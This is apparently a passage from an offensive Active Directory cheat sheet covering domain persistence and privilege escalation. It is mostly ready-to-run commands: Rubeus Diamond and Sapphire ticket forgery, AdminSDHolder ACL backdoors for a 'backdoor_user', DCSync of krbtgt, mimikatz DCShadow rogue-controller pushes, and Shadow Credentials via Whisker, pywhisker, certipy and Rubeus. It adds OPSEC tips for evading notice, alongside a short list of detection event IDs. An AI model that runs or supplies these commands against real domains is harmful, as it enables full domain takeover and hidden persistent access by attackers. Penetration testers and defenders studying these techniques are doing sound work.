# 512 - Domain Admins
# 513 - Domain Users
# 518 - Schema Admins
# 519 - Enterprise Admins
# 520 - Group Policy Creator Owners
# Well-known user RIDs:
# 500 - Administrator
# 501 - Guest
# 502 - krbtgt
# Create minimal privilege escalation (less suspicious)
.\Rubeus.exe diamond /tgtdeleg /ticketuser:<USER> /groups:512 /krbkey:<KEY> /ptt
# Full domain admin privileges
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /krbkey:<KEY> /ptt
Sapphire Ticket#
Similar to Diamond Ticket but requests new TGT instead of modifying existing one. Uses S4U2Self to obtain legitimate ticket, then modifies it.
Requirements: krbtgt AES key, compromised account credentials
# Rubeus - Create Sapphire Ticket
.\Rubeus.exe sapphire /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /user:<COMPROMISED_USER> /password:<PASSWORD> /ptt
# With NTLM hash
.\Rubeus.exe sapphire /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /user:<COMPROMISED_USER> /rc4:<NTLM_HASH> /ptt
# Specify domain controller
.\Rubeus.exe sapphire /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256_KEY> /user:<USER> /password:<PASS> /dc:<DC_IP> /ptt
AdminSDHolder Abuse#
Modify AdminSDHolder container ACL to grant persistent permissions on protected groups (Domain Admins, etc.). SDProp process propagates ACLs to protected objects every 60 minutes.
Requirements: Write access to AdminSDHolder object (typically requires Domain Admin)
Add Backdoor User Permissions#
# PowerView - Grant user full control over AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights All -Verbose
# Grant specific rights (less obvious)
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights ResetPassword -Verbose
# Grant DCSync rights (Replication privileges)
Add-DomainObjectAcl -TargetIdentity "DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights DCSync -Verbose
# Native AD Module method
$acl = Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=contoso,DC=local"
$user = Get-ADUser backdoor_user
$sid = [System.Security.Principal.SecurityIdentifier]$user.SID
$identity = [System.Security.Principal.IdentityReference]$sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights]"GenericAll"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $adRights, $type, $inheritanceType)
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl -Path "AD:\CN=AdminSDHolder,CN=System,DC=contoso,DC=local"
Verify Permissions#
# Check AdminSDHolder ACL
Get-ObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor_user"}
# Native AD
Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=contoso,DC=local" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -match "backdoor_user"}
Trigger SDProp Manually (Optional)#
# SDProp runs automatically every 60 minutes
# To trigger immediately (requires Domain Admin on DC):
# Via PowerShell on DC
Import-Module ActiveDirectory
$RootDSE = Get-ADRootDSE
$RootDSE.FixUpInheritance = 1
# Via LDAP modify
# Requires privileged access to DC
# Not commonly used - waiting 60 minutes is standard
Verify Propagation to Protected Groups#
# After SDProp runs, check if ACL propagated to Domain Admins
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor_user"}
# Check other protected groups
@("Domain Admins", "Enterprise Admins", "Administrators", "Account Operators") | ForEach-Object {
Write-Host "Checking $_"
Get-ObjectAcl -Identity $_ -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor_user"}
}
Exploitation After Propagation#
# Once ACLs propagate, backdoor_user can:
# Reset Domain Admin password
Set-ADAccountPassword -Identity Administrator -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ss123!" -Force)
# Add themselves to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members backdoor_user
# Perform DCSync (if DCSync rights were granted)
lsadump::dcsync /domain:contoso.local /user:krbtgt
Detection & OPSEC#
# Detection indicators:
# - Event ID 5136: Modification of AdminSDHolder object
# - Event ID 4662: Operation performed on AdminSDHolder
# - Unusual ACEs on AdminSDHolder (especially for non-admin users)
# - Unexpected users with rights on protected groups
# OPSEC considerations:
# 1. Use service accounts or existing admin accounts (blend in)
# 2. Grant minimal necessary rights (ResetPassword vs GenericAll)
# 3. Add ACE to existing protected account if possible
# 4. Monitor for AdminSDHolder enumeration tools (detection opportunity)
# Cleanup (if needed)
Remove-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=contoso,DC=local" -PrincipalIdentity backdoor_user -Rights All
DCShadow#
Description: Register rogue Domain Controller to push malicious changes directly to AD without going through legitimate DC. Extremely stealthy as changes appear to originate from DC.
Requirements:
- DA or Enterprise Admin privileges (to register DC)
- Two sessions: one as SYSTEM, one as DA
# Session 1: Run as SYSTEM (mimikatz)
privilege::debug
!+
!processtoken
token::elevate
# Register as DC and prepare for push
lsadump::dcshadow /object:targetuser /attribute:primaryGroupID /value:512
# Session 2: Run as Domain Admin (mimikatz)
# Trigger replication to push changes
lsadump::dcshadow /push
# Alternative: Specify specific attributes to modify
# Session 1 (SYSTEM)
lsadump::dcshadow /object:CN=targetuser,CN=Users,DC=contoso,DC=local /attribute:servicePrincipalName /value:"HTTP/fake.contoso.local"
# Session 2 (DA) - push changes
lsadump::dcshadow /push
# Modify multiple attributes
lsadump::dcshadow /object:targetuser /attribute:sidHistory /value:S-1-5-21-...-512
# Add to Domain Admins via primaryGroupID
lsadump::dcshadow /object:backdooruser /attribute:primaryGroupID /value:512
lsadump::dcshadow /push
Shadow Credentials#
Add Key Credentials to user/computer object msDS-KeyCredentialLink attribute to enable authentication without knowing password.
Requirements: Write access to msDS-KeyCredentialLink attribute on target object
# Whisker - Add shadow credential to user account
.\Whisker.exe add /target:targetuser /domain:contoso.local /dc:DC01.contoso.local /path:cert.pfx /password:CertPass123!
# List existing key credentials
.\Whisker.exe list /target:targetuser /domain:contoso.local
# Remove shadow credential (cleanup)
.\Whisker.exe remove /target:targetuser /deviceid:<DEVICE_ID> /domain:contoso.local
# Pywhisker (Python alternative from Linux)
python3 pywhisker.py -d contoso.local -u lowpriv_user -p Password123! --target targetuser --action add --filename cert
# Authenticate with certificate
certipy auth -pfx cert.pfx -dc-ip <DC_IP>
# Or with Rubeus
.\Rubeus.exe asktgt /user:targetuser /certificate:cert.pfx /password:CertPass123! /ptt